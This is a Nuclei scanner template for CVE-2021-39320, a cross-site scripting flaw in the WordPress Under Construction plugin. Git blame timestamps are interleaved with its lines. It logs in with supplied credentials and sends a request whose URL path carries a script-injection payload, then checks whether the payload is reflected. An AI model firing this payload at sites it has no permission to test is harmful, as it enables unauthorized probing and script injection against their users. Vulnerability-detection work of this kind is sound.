nuclei-templates/http/cves/2021/CVE-2021-39320.yaml

60 lines
1.8 KiB
YAML
Raw Normal View History

2021-09-27 17:15:53 +00:00
id: CVE-2021-39320
info:
name: WordPress Under Construction <1.19 - Cross-Site Scripting
2021-09-27 17:15:53 +00:00
author: dhiyaneshDK
severity: medium
2022-09-20 13:55:03 +00:00
description: |
WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
2021-09-27 17:15:53 +00:00
reference:
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
2022-09-20 13:55:03 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-39320
cwe-id: CWE-79
epss-score: 0.0021
2023-07-11 19:49:27 +00:00
cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
2023-08-31 11:46:18 +00:00
epss-percentile: 0.5823
2022-09-20 13:57:51 +00:00
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
framework: wordpress
vendor: underconstruction_project
product: underconstruction
2022-09-20 13:58:50 +00:00
tags: cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated
2021-09-28 10:13:21 +00:00
http:
2022-09-20 13:55:03 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2021-09-27 17:15:53 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-09-20 13:55:03 +00:00
- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
- 'under-construction'
2022-09-20 13:57:51 +00:00
condition: and
2021-09-28 10:13:21 +00:00
2021-09-27 17:15:53 +00:00
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200